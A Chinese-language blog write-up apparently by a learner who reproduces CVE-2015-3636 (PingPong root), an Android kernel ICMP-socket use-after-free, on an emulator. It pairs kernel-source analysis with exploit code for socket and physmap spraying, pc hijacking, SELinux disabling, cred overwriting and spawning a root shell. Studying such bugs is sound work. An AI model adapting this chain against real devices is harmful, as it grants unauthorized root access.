CVE-2015-3636复现与分析

Brief

本次复现的目标是Android的经典漏洞PingPong root (CVE-2015-3636)。

这是一个Android 7时代非常经典的旧漏洞,由于大部分的令人眼花撩乱的安全限制机制都是出现在Android P之后的,复现起来对我这种新手会更加的友好一点,同时,也可以更加清晰的梳理PXN的绕过方式;

这是我第一次相对完整的复现和分析一个Android kernel相关的漏洞,梳理过程主要参考了f0rm2l1n的博客,所以更多的重点放在了梳理整个漏洞利用的流程以及关键位置的利用技巧。跳过了一些内核调试相关的部分(直接照搬前辈们些好的exploits), 后续调试的基本功更加扎实点了再回来细化调试的部分。

关于CVE-2015-3636,该漏洞的poc描述了一个位于ICMP socket在连接过程中引发的BUG,在一定条件下可以”进化”成一个UAF的漏洞,利用ret2dir技术可以在userspace中劫持到socket的关键结构,利用ROP链完成PXN标记位置的改写;最终利用kernel write的原语完成SELinux状态的改写以及cred的结构的改写,完成提权;

复现环境的搭建

漏洞模拟环境

在2022年的今天,找到一台能刷Android 7的设备并不简单,但是52pojie的某次比赛题目为复现PingPong Root提供了一个带有漏洞环境的Android模拟器,直接运行即可。使用4B5F5F4B在Github上发布的exploit源代码即可成功获取到root。

但是即便如此,在复现这个漏洞的时候,仍然有一些坑需要注意:

  1. 使用shell用户权限(uid=2000),直接运行exploit会没有创建socket的权限而抛出Permission denied的异常;可使用如下的方法解决:

    1. 利用adb shell 连接模拟器,此时是root权限,su shell切换至shell用户即可;

    2. 利用sysctl -w net.ipv4.ping_group_range="0 2147483647"开启权限(这个方案可行但是模拟器上似乎不太好用)

  2. 4B5F5F4B 提供的exploit是适配题目的模拟器环境的,其内核中一些偏移均与真机环境中不同,在其他环境中尝试复现该漏洞需要更改一些偏移;

以上,即可开启一次愉快的漏洞之旅了;

kernel 源代码获取

从清华源可以获取到源代码:

1
2
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/common.git
git checkout remotes/origin/android-3.4 -b remotes/origin/deprecated/android-3.4

由于时间久远,在2022年的今天,这个仓库已经deprecated了;

从PoC开始理解漏洞

公开的Poc代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>

#include <sys/socket.h>
#include <linux/in.h>
#include <linux/sockios.h>


int main() {
int sock, ret;
struct sockaddr_in sa;
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);

memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
ret = connect(sock, (const struct sockaddr *) &sa, sizeof(sa));

sa.sin_family = AF_UNSPEC;
ret = connect(sock, (const struct sockaddr *) &sa, sizeof(sa));
ret = connect(sock, (const struct sockaddr *) &sa, sizeof(sa));

return 0;
}

在PoC中,首先创建了一个SOCK_DGRAM+IPPROTO_ICMP, 熟悉的ICMP协议也就是常用的ping使用的协议;紧接着,PoC分别对一个AF_INET簇的socketaddr_in调用了connect函数;对一个AF_UNSPEC簇的socketaddr_in重复调用了两次connect函数;最终,我们获得了一个kernel panic

1
2
3
4
5
6
7
8
Call trace:
[<ffffffc000409644>] ping_unhash+0x30/0xa0
[<ffffffc0003f39e0>] udp_disconnect+0x98/0x10c
[<ffffffc0003fe6c0>] inet_dgram_connect+0x78/0x90
[<ffffffc00035c800>] SyS_connect+0xb0/0xc8
Code: 91080000 94028d43 f9401e61 f9401a60 (f9000020)
---[ end trace a2ba03e891ebe80b ]---
Kernel panic - not syncing: Fatal exception in interrupt

通过CallTrace的路径,下面开始分析,为何会出现Kernel Panic

首先是syscall的入口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// net/socket.c
SYSCALL_DEFINE3(connect, int, fd, struct sockaddr __user *, uservaddr,
int, addrlen)
{
struct socket *sock;
struct sockaddr_storage address;
int err, fput_needed;

sock = sockfd_lookup_light(fd, &err, &fput_needed);
if (!sock)
goto out;
err = move_addr_to_kernel(uservaddr, addrlen, &address);
if (err < 0)
goto out_put;

err =
security_socket_connect(sock, (struct sockaddr *)&address, addrlen);
if (err)
goto out_put;

err = sock->ops->connect(sock, (struct sockaddr *)&address, addrlen,
sock->file->f_flags); // attation here
out_put:
fput_light(sock->file, fput_needed);
out:
return err;
}

通过sockfd_lookup_light 将userspace中传入的文件描述符fd转化成为一个sock struct, 之后调用sock->ops->connect指向的函数来处理具体的connect函数;通过panic中的Call Trace可以看到,处理函数为inet_dgram_connect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// net/ipv4/af_inet.c
int inet_dgram_connect(struct socket *sock, struct sockaddr *uaddr,
int addr_len, int flags)
{
struct sock *sk = sock->sk;

if (addr_len < sizeof(uaddr->sa_family))
return -EINVAL;
if (uaddr->sa_family == AF_UNSPEC)
return sk->sk_prot->disconnect(sk, flags); // attation here

if (!inet_sk(sk)->inet_num && inet_autobind(sk)) // attation here
return -EAGAIN;
return sk->sk_prot->connect(sk, uaddr, addr_len);
}
EXPORT_SYMBOL(inet_dgram_connect);

在这个位置,根据socketaddr->sa_family的不同,将会有不同的处理流程;对于第一次connect调用,socketaddr->sa_family=AF_INET 会跳过两个if语句,直接调用inet_autobind 最终内核会将socket hash计算后存入ping_hashslot;

而对于后两次connect函数调用(触发漏洞/kernel panic的位置),由于socketaddr->sa_family=AF_UNSPEC 因此会调用到disconnect函数执行,这里同样是根据sock struct结构决定具体的处理函数,通过Call Trace可以确定为udp_disconnect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// net/ipv4/udp.c
int udp_disconnect(struct sock *sk, int flags)
{
struct inet_sock *inet = inet_sk(sk);
/*
* 1003.1g - break association.
*/

sk->sk_state = TCP_CLOSE;
inet->inet_daddr = 0;
inet->inet_dport = 0;
sock_rps_reset_rxhash(sk);
sk->sk_bound_dev_if = 0;
if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK))
inet_reset_saddr(sk);

if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {
sk->sk_prot->unhash(sk); // attation here
inet->inet_sport = 0;
}
sk_dst_reset(sk);
return 0;
}
EXPORT_SYMBOL(udp_disconnect);

此时,会判断该sock是否绑定了地址或是出于加锁状态,否则,就会调用unhash即存在漏洞的函数ping_unhash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// net/ipv4/ping.c
void ping_unhash(struct sock *sk)
{
struct inet_sock *isk = inet_sk(sk);
pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
if (sk_hashed(sk)) { // attation here
write_lock_bh(&ping_table.lock);
hlist_nulls_del(&sk->sk_node); // attation here
sk_nulls_node_init(&sk->sk_node);
sock_put(sk);
isk->inet_num = 0;
isk->inet_sport = 0;
sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
write_unlock_bh(&ping_table.lock);
}
}
EXPORT_SYMBOL_GPL(ping_unhash);

ping_unhash函数中,首先会通过sk_hashed 判断sock struct是否处于hash状态,其判断流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// include/net/sock.h
static inline bool sk_hashed(const struct sock *sk)
{
return !sk_unhashed(sk);
}

static inline bool sk_unhashed(const struct sock *sk)
{
return hlist_unhashed(&sk->sk_node);
}


// include/linux/list.h
static inline int hlist_unhashed(const struct hlist_node *h)
{
return !h->pprev;
}

总结一下,就是判断sk->sk_node->pprev是否为空,那么问题是,当sock struct被unhash一次之后,sk->sk_node->pprev会变成空么?既然PoC已经做到Kernel Panic了,答案已经很明显了,sk->sk_node->pprev并不会为空,而是 …

让我们注意下hlist_nulls_del的处理流程:

1
2
3
4
5
6
// include/linux/list_null.h
static inline void hlist_nulls_del(struct hlist_nulls_node *n)
{
__hlist_nulls_del(n);
n->pprev = LIST_POISON2;
}

sk->sk_node->pprev被指向了LIST_POISON2而非空;由于第二次connect AF_UNSPEC簇的地址时,sk_hashed会引用sk->sk_node->pprev,而其已经被指向了一个不可被引用的地址因此抛出了下面的异常

1
Unable to handle kernel paging request at virtual address 00001360

到此为止,PoC的流程就已经分析完毕了,从PoC中虽然没有直接出现UAF,但是可以发现两次调用connect时可以触发两次unhash操作的,由于该操作中会有内存释放,因此,后续极有可能会出现double free的问题;

找到UAF原语

在上面对PoC的分析过程中,可以发现Kernel Panic的原因其实是访问到了错误的内存地址LIST_POISON2上,实际上通过mmap可以保护起LIST_POISON2所指向的地址,继续运行下去,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define PAGE_SIZE			  		(0x1000)
#define MAX_NULLMAP_SIZE (PAGE_SIZE * 4)
#define LIST_POSIION (0x00001360) // attation : 这里即LIST_POISON2指向的地址,内核不同会略有差异;
#define PROTECT_BASE (LIST_POSIION&~(PAGE_SIZE-1)) // mmap基本操作:地址对齐


void protection() {
printf("[*] Start protection ...\n");

int i;
void* protect = mmap(PROTECT_BASE, MAX_NULLMAP_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
if (protect == MAP_FAILED)
errhandler("[-] err at mmap");

for (i = 0; i < MAX_NULLMAP_SIZE / PAGE_SIZE; i++)
memset((char*) protect + PAGE_SIZE*i, 0x90, PAGE_SIZE);

// if (mlock(PROTECT_BASE, MAX_NULLMAP_SIZE) == -1)
// errhandler("[-] err at mlock");

printf("[*] Protection Done !\n");
}

由此,第二次调用connect便可以继续运行ping_unhash的后续操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// net/ipv4/ping.c
void ping_unhash(struct sock *sk)
{
struct inet_sock *isk = inet_sk(sk);
pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
if (sk_hashed(sk)) { // 保护地址后,将不会再kernel panic
write_lock_bh(&ping_table.lock);
hlist_nulls_del(&sk->sk_node);
sk_nulls_node_init(&sk->sk_node);
sock_put(sk); // attation : free sk here;
isk->inet_num = 0;
isk->inet_sport = 0;
sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
write_unlock_bh(&ping_table.lock);
}
}
EXPORT_SYMBOL_GPL(ping_unhash);

// include/net/sock.h
/* Ungrab socket and destroy it, if it was the last reference. */
static inline void sock_put(struct sock *sk)
{
if (atomic_dec_and_test(&sk->sk_refcnt))
sk_free(sk);
}

终于,找到了double free 的代码位置;

至此我们有了控制一个sock struct的机会,一般情况下,会选择控制位于__sk_commonskc_prot中的close函数指针,当userspace中触发close调用的时候就可以触发漏洞的利用了;

这里的sock struct的劫持使用的是*phsymap spraying* 这种漏洞利用技术就是延伸自ret2dir, 由于这是我第一次接触到这种有趣的方式,后续会有专门的章节来说明;

这部分的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
void spraying() {
printf("[+] Start socket spraying ...\n");
int i, ret;
struct sockaddr _sockaddr1 = { .sa_family = AF_INET};
struct sockaddr _sockaddr2 = { .sa_family = AF_UNSPEC};

for(i = 0; i < MAX_VULTRIG_SOCKS_COUNT; i++) {
vultrig_socks[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
if (vultrig_socks[i] < 0)
errhandler("[-] err at creating vuln socket");

ret = connect(vultrig_socks[i], &_sockaddr1, sizeof(_sockaddr1));
if (ret < 0)
errhandler("[-] err at create socket hash");
}

for (i = 0; i < MAX_VULTRIG_SOCKS_COUNT; i++) {
ret = connect(vultrig_socks[i], &_sockaddr2, sizeof(_sockaddr2));
if (ret < 0)
errhandler("[-] err at free socket once");

ret = connect(vultrig_socks[i], &_sockaddr2, sizeof(_sockaddr2));
if (ret < 0)
errhandler("[-] err at free socket twice");
}

printf("[+] Socket spraying done !\n");

printf("[+] Start physmap spraying ...\n"); // I can't really understand here; maybe I will goto learn ret2dir first ...;
memset(physmap_spray_pages, 0 ,sizeof(physmap_spray_pages));
memset(physmap_spray_children, 0, sizeof(physmap_spray_children));
physmap_spray_pages_count = 0;
for (i = 0; i < MAX_PHYSMAP_SPRAY_PROCESS; i++) {
int j;
void* mapped;
void* mapped_page;
mapped = mmap(NULL, MAX_PHYSMAP_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (mapped == MAP_FAILED)
errhandler("[-] err at mmap");

for(j = 0; j < MAX_PHYSMAP_SIZE / PAGE_SIZE; j++) {
memset((void *)((char *)mapped + PAGE_SIZE * j), 0x41, PAGE_SIZE);
mapped_page = (void *)((char *)mapped + PAGE_SIZE * j);
*(unsigned long *)((char *)mapped_page + 0x1D8) = MAGIC_VALUE + physmap_spray_pages_count;
physmap_spray_pages[physmap_spray_pages_count] = mapped_page;
physmap_spray_pages_count++;
}
}
printf("[+] Physmap spraying done!\n");
}

void fetching() {
printf("[+] Start fetching the UAF socket...\n");
struct timespec time;
uint64_t value;
void *page = NULL;
int j = 0;
int got = 0;
int index = MAX_VULTRIG_SOCKS_COUNT / 2;

do {
exp_sock = vultrig_socks[index];
memset(&time, 0, sizeof(time));
ioctl(exp_sock, SIOCGSTAMPNS, &time);

value = ((uint64_t)time.tv_sec * NSEC_PER_SEC) + time.tv_nsec;
for(j = 0; j < physmap_spray_pages_count; j++) {
page = physmap_spray_pages[j];
if(value == *(unsigned long *)((char *)page + 0x1D8)) {
printf("[*] obtained magic:%p\n", value);
got = 1;
payload = page;
break;
}
}

index += 1;
} while(!got && index < MAX_VULTRIG_SOCKS_COUNT);

if (got == 0)
errhandler("[!] fetching() fail...");

printf("[~] Done fetching the UAF socket!\n");
}

其中,fetching函数可以帮我们在众多的sock struct 中成功的找到一个可以被控制的,并将对应的physmap_page信息记录在全局变量payload中,而命中的sock将被记录在全局变量exp_sock中,这个函数在一次漏洞中是可以被反复利用的;

控制流劫持 & 完成提权

完成提取的大体流程如下(下面代码片段中的地址需要根据实际环境,经过一点点调试才能得到):

  1. addr_limit设置为0xFFFFFFFFFFFFFFFF来关闭PXN的限制;这里直接调用到kernel_setsockopt即可;(关于PXN的介绍也将放在后续章节)
1
2
3
4
5
6
7
8
   printf("[+] Start hijacking pc as well as set addr_limit...\n");
*(unsigned long *)((char *)payload + 0x290) = 0; // 保护内核避免崩溃;
*(unsigned long *)((char* )payload + 0x28) = (unsigned long)payload; // recursive...
*(unsigned long *)((char* )payload) = (unsigned long)0xFFFFFFC00035D788;
*(unsigned long *)((char* )payload + 0x68) = (unsigned long)0xFFFFFFC00035D7C0;

close(exp_sock);
printf("[~] Done these! We are allowed to do arbitrary read&write\n");
  1. 重写selinux_enforcing来关闭SELinux;
1
2
3
    unsigned int data4 = 0;
kernel_write4((void *)0xffffffc00065399c, &data4);
printf("[*] selinux disabled.\n");
  1. 泄漏并改写task_struct->cred;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// leaking code;
void* nullmap = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if (nullmap == MAP_FAILED) errhandler("[!] placing().mmap");
printf("[~] Successfully adopt null mapping\n");

exp_sock = -1;
exp_index += 1;
fetching();

/*
when PC is hijacked, X1 is 0. so we can leak task_struct pointer in 0x0000000000000018

ROM:FFFFFFC0004AA518 MOV X2, SP
ROM:FFFFFFC0004AA51C AND X2, X2, #0xFFFFFFFFFFFFC000
ROM:FFFFFFC0004AA520 LDR X2, [X2,#0x10]
ROM:FFFFFFC0004AA524 STR X2, [X1,#0x18]
ROM:FFFFFFC0004AA528 RET
*/
*(unsigned long *)((char *)payload + 0x290) = 0;
*(unsigned long *)((char *)payload + 0x28) = (unsigned long)payload;
*(unsigned long *)((char *)payload) = (unsigned long)0xFFFFFFC0004AA518;
close(exp_sock);

// overwrite task_struct->cred to gain root privilege
void* task = NULL;
task = (void *)*(unsigned long *)((char *)nullmap + 0x18);

void* cred = NULL;
kernel_read8((char *)task + 0x398, &cred);
// cred rewriting
unsigned int empty4 = 0;
kernel_write4((char *)cred + 4, &empty4);
kernel_write4((char *)cred + 8, &empty4);
kernel_write4((char *)cred + 12, &empty4);
kernel_write4((char *)cred + 16, &empty4);
kernel_write4((char *)cred + 20, &empty4);
kernel_write4((char *)cred + 24, &empty4);
kernel_write4((char *)cred + 28, &empty4);
kernel_write4((char *)cred + 32, &empty4);
  1. 最后做一些必要的清理工作,避免kernel crash
1
2
3
4
5
6
7
// fd cleaning
void* files, *fdt;
kernel_read8((char *)task + 0x728, &files);

kernel_read8((char *)files + 8, &fdt);
empty4 = 0;
kernel_write4(fdt, &empty4);

全部完成后,即可get_shell

1
2
3
4
5
6
7
8
void get_shell() {
if (getuid() == 0) {
printf("[*] congrats, enjoy your root shell.\n");
system("/system/bin/sh");
} else {
errhandler("[*] no root privilege, relax and try again.");
}
}

以上,整个CVE-2015-3636的漏洞利用流程就梳理完成了;由于篇幅关系phsymap spraying与PXN绕过部分将放在下一篇blog中集中整理;今天要先碎觉了 …

Reference